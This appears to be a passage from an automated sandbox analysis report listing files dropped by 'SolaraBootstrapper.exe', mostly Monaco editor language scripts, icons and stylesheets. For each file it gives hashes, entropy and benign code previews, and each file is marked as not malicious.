strict";Object.defineProperty(_,"__esModule",{value:!0}),_.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},_.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\ruby\ruby.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8098)
Category:	dropped
Size (bytes):	8505
Entropy (8bit):	5.304325009388277
Encrypted:	false
SSDEEP:	192:hZn4cxI35E7BuN7MVziYlG3z9GEpWyuy7:hScx+E7cMwj9Fsvu
MD5:	9D0EDDEAE6D9BF3D3D9EEBF7858B45BD
SHA1:	6F0FB7FEB21491FA8E46763945C266880D904461
SHA-256:	5F249877EEF9E52F52DBE2BB4B158DA3A6F7FC2D267487298D537292596B6089
SHA-512:	EEEE65842033CC4F122689FFC7C3C660317D5C5D411C452EA73A26F71D041AB05C8BEB6D0FD3B2D8A8FC787AC408007B0F6785B867FBDB1C55AB94EB75C017D3
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/ruby/ruby",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"#",blockComment:["=begin","=end"]},brackets:[["(",")"],["{","}"],["[","]"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},t.language={tokenPostfix:".ruby",keywords:["__LINE__","__ENCODING__","__FILE__","BEGIN","END","alias"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\rust\rust.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3897)
Category:	dropped
Size (bytes):	4304
Entropy (8bit):	5.391932938704175
Encrypted:	false
SSDEEP:	96:hFDMgRs6Q9rbV1+gqVV1+/yldNmlf9LJ5MnWe1l0gHY4Rt04TW:hZnYrTO6llLJ5de3i4Y
MD5:	F48A41336BCC1A195503C7A020EA508C
SHA1:	75F5BC806C449422E7A56DE8FC3C1E3626768A12
SHA-256:	7C4E77F3BC6F3FB580C1C329F515E30830E6F6352D088B7948F73FA1662A3664
SHA-512:	F4E94B5C3DCB1FB90373F92637618E774737AC1646E5B24CB28BDFDD5188AF3F61DDF49224D1459B22DDCF89B6A1FCD86884CBE2DF62F826EC9CB94C5AF1277B
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/rust/rust",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"[",close:"]"},{open:"{",close:"}"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#pragma\\s+region\\b")

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\sb\sb.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1800)
Category:	dropped
Size (bytes):	2207
Entropy (8bit):	5.251341327640964
Encrypted:	false
SSDEEP:	48:hFDMgRs/F60K5J1JFq11FqQHTgVgN88KEqWgdctA0VeQ:hFDMgRsUdTq17qG8EQRW6PQ
MD5:	95A88FD3AC1433BC136A792BD892C1D2
SHA1:	7E75796E0896B429E4D4DBDEAF83ADFF3C8AEF29
SHA-256:	51C0BBDE8B266514A37F00707C34BAB27571B7EB38BDDC5A45BB3F987CE5227D
SHA-512:	0CDECC828BCF7E49FDD7BE2F2E27B099D1FB3465D13B18E61B4BAF1BCCB8D78560666AE503EF1ADF6BE62975F96B685BB922C59ECC203E598C502E2E91CDDC94
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/sb/sb",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"'"},brackets:[["(",")"],["[","]"],["If","EndIf"],["While","EndWhile"],["For","EndFor"],["Sub","EndSub"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]}]},o.language={defaultToken:"",tokenPostfix:".sb",ignoreCase:!0,brackets:[{token:"delimiter.array",open:"[",close:"]"},{token:"delimiter.parenthesis",open:"(",close

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\scss\scss.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6384)
Category:	dropped
Size (bytes):	6791
Entropy (8bit):	5.086201877298942
Encrypted:	false
SSDEEP:	96:hFDMgRsJ6rMq+q17qcq6V1+/Zpj1ctjT0PIVhUE5CsqdpvcWLPMlxXALYJvc:hZe6rr9AnhPKIsuvcWLPMfXALCvc
MD5:	3E266F1F8EAAAE110C8AE9E31FE5CB41
SHA1:	D939D3B5CB8A5DF6FCA3CE2531FD633E59FE34B2
SHA-256:	438F781E751495302A0E2359EA93B54D7F9CBA383FB44185D73BC6E2A5A38E81
SHA-512:	4BBEF3FEBBDCEBCAF8242107BF5E260EBD92BD99D00777316A2DFE29865A2D20AB11808B23D9616D77550E82D69AF71FADDA95EB41E83387516C21480DEFFBE0
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/scss/scss",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|([@$#!.:]?[\w-?]+%?)\|[@#!.]/g,comments:{blockComment:["/","/"],lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\solidity\solidity.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18566)
Category:	dropped
Size (bytes):	18973
Entropy (8bit):	4.504039135914546
Encrypted:	false
SSDEEP:	384:hSrtoAZRoMteOKV6TXRcJcWlXvEnMemjVjlVuRHBziYQ:crtoZOA6TKJccXcnMemZ+HFA
MD5:	0C117B4DC07C6A0A0D063D1504E04EA6
SHA1:	3F72A2469DF69925E2C9FA31066A56A4327ACDE4
SHA-256:	E71C1DF85CED6A51254A45152CEB9BAB1EC3A003E8E4911AB35C737B52D42AE4
SHA-512:	8A209F5CB7503E716C470728D744E0674717E63DF2DB3590086F09866047C6F668D8D393A510320C2A1658D9026B5A968164BA3FCEAD36B270C364B0E663F5F2
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/solidity/solidity",["require","exports"],function(x,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}]},e.language={defaultToken:"",tokenPostfix:".sol",brackets:[{token:"delimiter.curly",open:"{",close:"}"},{token:"delimiter.pare

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\sql\sql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18212)
Category:	dropped
Size (bytes):	18619
Entropy (8bit):	4.946579324824011
Encrypted:	false
SSDEEP:	384:hwLxocwBLdRtOmmeuA7It3OMvZi3vzVga+hFyPWg8N7+HLJfh+kQ9/3W:KLxocwlU26lvZi7Vga+7yPkshAfW
MD5:	4788F14A5C95A359AF5EE52EFBCF862D
SHA1:	DD4BD763CADF57A529A0732224EC6E27CB08CBB9
SHA-256:	D1AB939C0BA1033252787F1F13B503D870EE5784A23A3B0B89857860075C035B
SHA-512:	F24AD9E95C092BA62C9646876858368B095234E212797EA76DF8C708EFCD4622F872AB30A21D3EC1B341E9D69924D22FAEEC8D949784A4CCBD02E3C877C68617
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/sql/sql",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},T.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delimiter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\st\st.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6870)
Category:	dropped
Size (bytes):	7278
Entropy (8bit):	4.972749078299566
Encrypted:	false
SSDEEP:	96:hFDMgRslrafEUAV1+wCXaVcJlkGLaTNzFgigKNVKVpzVxmKRBzb/eV1+/mQVcJl3:hZIrEol2JJi1VJJsjWaGr5aVl2Xaw
MD5:	7F3EF65A0F0F0AEEDCD64D57F191D7A6
SHA1:	B5A95D5FEF3FC22C865CC176C0664928A2610582
SHA-256:	29E530C3A0DAE1DC1B630A0867132A2513B1996B7EB0D1F4090336BD6004FF09
SHA-512:	EA0508987801B487DC5370BF7D1A37C486994853EB0E1991F0EC4C9B5FFE378C7C8F701DF7D4DEFEDC34C5E23512305C6297D70A51D478E292E40C25C4A40C6A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/st/st",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"],["var","end_var"],["var_input","end_var"],["var_output","end_var"],["var_in_out","end_var"],["var_temp","end_var"],["var_global","end_var"],["var_access","end_var"],["var_external","end_var"],["type","end_type"],["struct","end_struct"],["program","end_program"],["function","end_function"],["function_block","end_function_block"],["action","end_action"],["step

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\swift\swift.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3842)
Category:	dropped
Size (bytes):	4249
Entropy (8bit):	5.357421086505354
Encrypted:	false
SSDEEP:	96:hFDMgRswdrbV1+/mQcV1+/mQSMFyb0EUiyH/l3w6Bh1D0rth:hZldrT1x1480Dv2h
MD5:	1BDD6F185CD2B5F4E11C6FAC19E86175
SHA1:	E812770EF107ECDF3CCF779EEBA58E0B8C0487A8
SHA-256:	5E9896A1E113B93502A1249B0CC78A844B000B803410A9A956854FAAC8528366
SHA-512:	E8D3811F1B7D776EA49E1DE61B5C1234D55EB0257664D8234C94EB22CD9289F7D304676D9565A69F44DC065BA569CA8B7E6A45C0FF9C62A673104C95BA4A7982
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/swift/swift",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}]},o.language={defaultToken:"",tokenPostfix:".swift",identifier:/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\vb\vb.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5669)
Category:	dropped
Size (bytes):	6076
Entropy (8bit):	5.1146635563321174
Encrypted:	false
SSDEEP:	96:hFDMgRsrSVNv2q+q17qcqR5FX5BmzpMCgkxIcKYWKkVe9Nu6Ke7UivaQ:hZem1q5FJOZxWYlkVe+ewW
MD5:	FD92FAAC5B4B3DFC2AA8CD7DEB8EFECF
SHA1:	39BD460AFA0C614D4106602A2AFB5C2C9D7CB1B0
SHA-256:	5CA2EF383CCBFD449DCEB76DB571211374314054E22977BBEB785E2AAF8ECF24
SHA-512:	FDEC42D463673CBACE6B50081190F0F9D2ADF57130DA04ABAA4513C4F569AE2B676883E5D1140B38D17D0AADD602A583C0FD27D7ED071112C5093C3051266338
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/vb/vb",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"'",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"],["addhandler","end addhandler"],["class","end class"],["enum","end enum"],["event","end event"],["function","end function"],["get","end get"],["if","end if"],["interface","end interface"],["module","end module"],["namespace","end namespace"],["operator","end operator"],["property","end property"],["raiseevent","end raiseevent"],["removehandler","end

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\xml\xml.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (1712)
Category:	dropped
Size (bytes):	2119
Entropy (8bit):	5.285431280573791
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3Cm4KANRmhImQTImQA6DpW4A8D2tMHZ7dDEWNpRih3aA5GNUrG9N:hFDMgRs/h4KlImQTImQB3HZ7KVMNUSN
MD5:	837EFA6CBAE0C226509B3F496C20660D
SHA1:	1A6263D04CD8EEA94E31583611A9C7246351482A
SHA-256:	01896B21BA9FE9106316197DA8118596101B966D4597AA794720F2561CBE15D8
SHA-512:	A2787C69CD3989D239CCE372FE141DDE121CAF8A637843413D590F4FF77941F10D8A8F8590BBFDB2255E97528289A7673E5377E469BEDD8F63135EF70C12A46A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/xml/xml",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["<",">"]],autoClosingPairs:[{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'}],surroundingPairs:[{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'}]},t.language={defaultToken:"",tokenPostfix:".xml",ignoreCase:!0,qualifiedName:/(?:[\w\.\-]+:)?[\w\.\-]+/,tokenizer:{root:[[/[^<&]+/,""],{include:"@whitespace"},[/(<)(@qualifiedName)/,[{token:"delimiter"},{token:"tag",next:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\yaml\yaml.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3484)
Category:	dropped
Size (bytes):	3891
Entropy (8bit):	5.3855602251882
Encrypted:	false
SSDEEP:	96:hFDMgRs1mV1+/0V1+/BrBU+A/B139YeCZVOQaB9+aB9R3d8rU534:hZEixerOP/Bo5VOJJFqA4
MD5:	A812C4E3188D84D073A481B2CADC21BD
SHA1:	A3988727891FDBCD6A0A9B88FD8AEEE6767ADA99
SHA-256:	3730024B6D24B2EA2E9794123B038EEE4383E9AE94FABD849ACEB9596AD9D2D0
SHA-512:	C6B9FA1CD85870DD9CE718D7D598A0456EB3E6D8CE762FC0A39FE59472D0A6CD000C2FECF0C39BEB7DFE00ECF12CF4586850FB9A93005ECEA8B23FE1538B7087
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/yaml/yaml",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{offSide:!0}},n.language={tokenPostfix:".yaml",brackets:[{token:"delimiter.bracket",open:"{",close:"}"},{token:"delimiter.squ

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\contrib\suggest\media\string_16x.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	4.133929597400424
Encrypted:	false
SSDEEP:	48:CnN6wkEX+c9Vlt4AFCj93Z0hDC7hSBnukNyhDFtrJGuG2XvS+yZCahDC7hSBnhKm:zJWFCMcfkCFGE6+yZCacJImkArbbqrAm
MD5:	48E754CB54C78A85DCC9AAEA9A27847E
SHA1:	8D79B23037DEB6586E4954305DCB4CAEE14AFBD2
SHA-256:	D1AA361F33564E8F9D527A01A66C7CE35D73F23417432E80DDF51F562770EE79
SHA-512:	F6D902B5C73B59636CB71D4019FF45CB77532BF22AAB28A8314697E24A62163A94140C97495AD5CE421C09C26E4BCBFE5A815EAE27E945C51CCD80C2BA9C3A77
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><style>.icon-canvas-transparent{opacity:0;fill:#f6f6f6}.icon-vs-out{fill:#f6f6f6}.icon-vs-bg{fill:#424242}.icon-vs-fg{fill:#f0eff1}</style><path class="icon-canvas-transparent" d="M16 16H0V0h16v16z" id="canvas"/><path class="icon-vs-out" d="M16 15H0V1h16v14z" id="outline"/><path class="icon-vs-fg" d="M9.229 7.354c.035.146.052.31.052.494 0 .234-.02.441-.06.621-.039.18-.095.328-.168.445a.687.687 0 0 1-.914.281.76.76 0 0 1-.237-.207.988.988 0 0 1-.154-.306 1.262 1.262 0 0 1-.057-.381v-.506c0-.17.02-.326.061-.465s.096-.258.168-.359a.756.756 0 0 1 .257-.232c.1-.055.21-.082.331-.082a.646.646 0 0 1 .571.32c.067.105.116.23.15.377zm-5.126.869a.557.557 0 0 0-.196.132c-.047.053-.08.112-.097.18s-.028.147-.028.233a.513.513 0 0 0 .157.39.528.528 0 0 0 .186.113.682.682 0 0 0 .242.041.76.76 0 0 0 .593-.271.897.897 0 0 0 .165-.295c.038-.113.059-.234.059-.365v-.346l-.761.11a1.29 1.29 0 0 0-.32.078zM14 3v10H2V3h12zM5.962 7.469c0-.238-.027-.451-.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\contrib\suggest\media\string_inverse_16x.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	4.131449641426331
Encrypted:	false
SSDEEP:	48:Cn7wkEX+c9Vlt4AFCj93Z0hDC7hSBnukNyhDFtrJGuG2XvS+yZCahDC7hSBnhKHG:EJWFCMcfkCFGE6+yZCacJImkArbbqrAm
MD5:	6E5C0CE7EC09969F07EA6EE078EF8AD6
SHA1:	DEADC5357A26852D872BFFA77D1AA19108603B25
SHA-256:	7D23C0F30CB9C05C81BB15785A3299772AE3CFBE51F3E04895AA1F23FFBEBA5B
SHA-512:	2B02CB82F9E4720EE43BFC8B7FE5D6DE38228329AAFBEDB589D5A219057C15F073023DECA3C1CA5B65CEA4A4F0D863EBD88C889B1D67119639FAE2CE180863BF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><style>.icon-canvas-transparent{opacity:0;fill:#2d2d30}.icon-vs-out{fill:#2d2d30}.icon-vs-bg{fill:#c5c5c5}.icon-vs-fg{fill:#2b282e}</style><path class="icon-canvas-transparent" d="M16 16H0V0h16v16z" id="canvas"/><path class="icon-vs-out" d="M16 15H0V1h16v14z" id="outline"/><path class="icon-vs-fg" d="M9.229 7.354c.035.146.052.31.052.494 0 .234-.02.441-.06.621-.039.18-.095.328-.168.445a.687.687 0 0 1-.914.281.76.76 0 0 1-.237-.207.988.988 0 0 1-.154-.306 1.262 1.262 0 0 1-.057-.381v-.506c0-.17.02-.326.061-.465s.096-.258.168-.359a.756.756 0 0 1 .257-.232c.1-.055.21-.082.331-.082a.646.646 0 0 1 .571.32c.067.105.116.23.15.377zm-5.126.869a.557.557 0 0 0-.196.132c-.047.053-.08.112-.097.18s-.028.147-.028.233a.513.513 0 0 0 .157.39.528.528 0 0 0 .186.113.682.682 0 0 0 .242.041.76.76 0 0 0 .593-.271.897.897 0 0 0 .165-.295c.038-.113.059-.234.059-.365v-.346l-.761.11a1.29 1.29 0 0 0-.32.078zM14 3v10H2V3h12zM5.962 7.469c0-.238-.027-.451-.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65254)
Category:	dropped
Size (bytes):	175911
Entropy (8bit):	5.835636874673417
Encrypted:	false
SSDEEP:	1536:ZxP4PUPVP0PAPeMi76Q4TVq5bbhLynlDTkDatDF8Jmmvgs0aMJkn:p2bIRkDSYmmvgs0aMJK
MD5:	233217455A3EF3604BF4942024B94F98
SHA1:	95CD3CE46F4CA65708EC25D59DDDBFA3FC44E143
SHA-256:	2EC118616A1370E7C37342DA85834CA1819400C28F83ABFCBBB1EF50B51F7701
SHA-512:	6F4CB7B88673666B7DC1BEAB3EC2AEC4D7D353E6DA9F6F14ED2FEE8848C7DA34EE5060D9EB34ECBB5DB71B5B98E3F8582C09EF3EFE4F2D9D3135DEA87D497455
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.monaco-builder-hidden{display:none!important}.monaco-action-bar{text-align:right;overflow:hidden;white-space:nowrap}.monaco-action-bar .actions-container{display:flex;margin:0 auto;padding:0;width:100%;justify-content:flex-end}.monaco-action-bar.vertical .actions-container{display:inline-block}.monaco-action-bar.reverse .actions-container{flex-direction:row-reverse}.monaco-action-bar .action-item{cursor:pointer;display:inline-block;transition:transform 50ms ease;position:relative}.monaco-action-bar .action-item.disabled{cursor:default}.monaco-action-bar.animated .action-item.active{-webkit-transform:scale(1.272019649);transform:scale(1.272019649)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (25715)
Category:	dropped
Size (bytes):	2060030
Entropy (8bit):	5.241126637820058
Encrypted:	false
SSDEEP:	24576:SmmBNDw4gCXJkB4nIg2IxhbaeZYIMsNjvit4f:wDw4gCXJk62+aeKIMsNjvit4f
MD5:	9399A8EAA741D04B0AE6566A5EBB8106
SHA1:	5646A9D35B773D784AD914417ED861C5CBA45E31
SHA-256:	93D28520C07FBCA09E20886087F28797BB7BD0E6CF77400153AAB5AE67E3CE18
SHA-512:	D37EF5A848E371F7DB9616A4BF8B5347449ABB3E244A5527396756791583CAD455802450CEEB88DCE39642C47ACEAF2BE6B95BEDE23B9ED68B5D4B7B9022B9C8
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.(function(){.var e,t=["require","exports","vs/base/common/lifecycle","vs/editor/common/core/range","vs/nls","vs/nls!vs/editor/editor.main","vs/base/common/event","vs/base/common/strings","vs/base/common/winjs.base","vs/base/browser/dom","vs/css!vs/editor/editor.main","vs/editor/browser/editorExtensions","vs/base/common/errors","vs/platform/instantiation/common/instantiation","vs/editor/common/core/position","vs/base/common/platform","vs/platform/theme/common/themeService","vs/editor/common/modes","vs/base/common/async","vs/platform/contextkey/common/contextkey","vs/editor/common/core/selection","vs/editor/common/editorContextKeys","vs/base/common

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.de.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9683)
Category:	dropped
Size (bytes):	37318
Entropy (8bit):	4.92687331950216
Encrypted:	false
SSDEEP:	768:jADv7LbgRyefe80QqYax/mZgb2ET1UZ0IMlYmz7w0hxH1N1Bg93RyFGAIDB7wZ9m:jADDx80QqYax/mmb2YLIEYmz7JhxH10D
MD5:	4D83BC1BCED6F773423BE6F939472CFE
SHA1:	1B42889A7F580DF9F7D399C33141D38548143ED1
SHA-256:	0DEE462D5FB231F169F6CBC432465A43FD445C011FE650E29F5FB2BCCC31EAAE
SHA-512:	C53D522438767A15B5711099FEE0ACB62FF21289B62640D1A4823A90C8A7D8836BC932DAAE477D5188B1BA78C50C581284C4D7379EFB532F37D356ADD97AC8E4
Malicious:	false
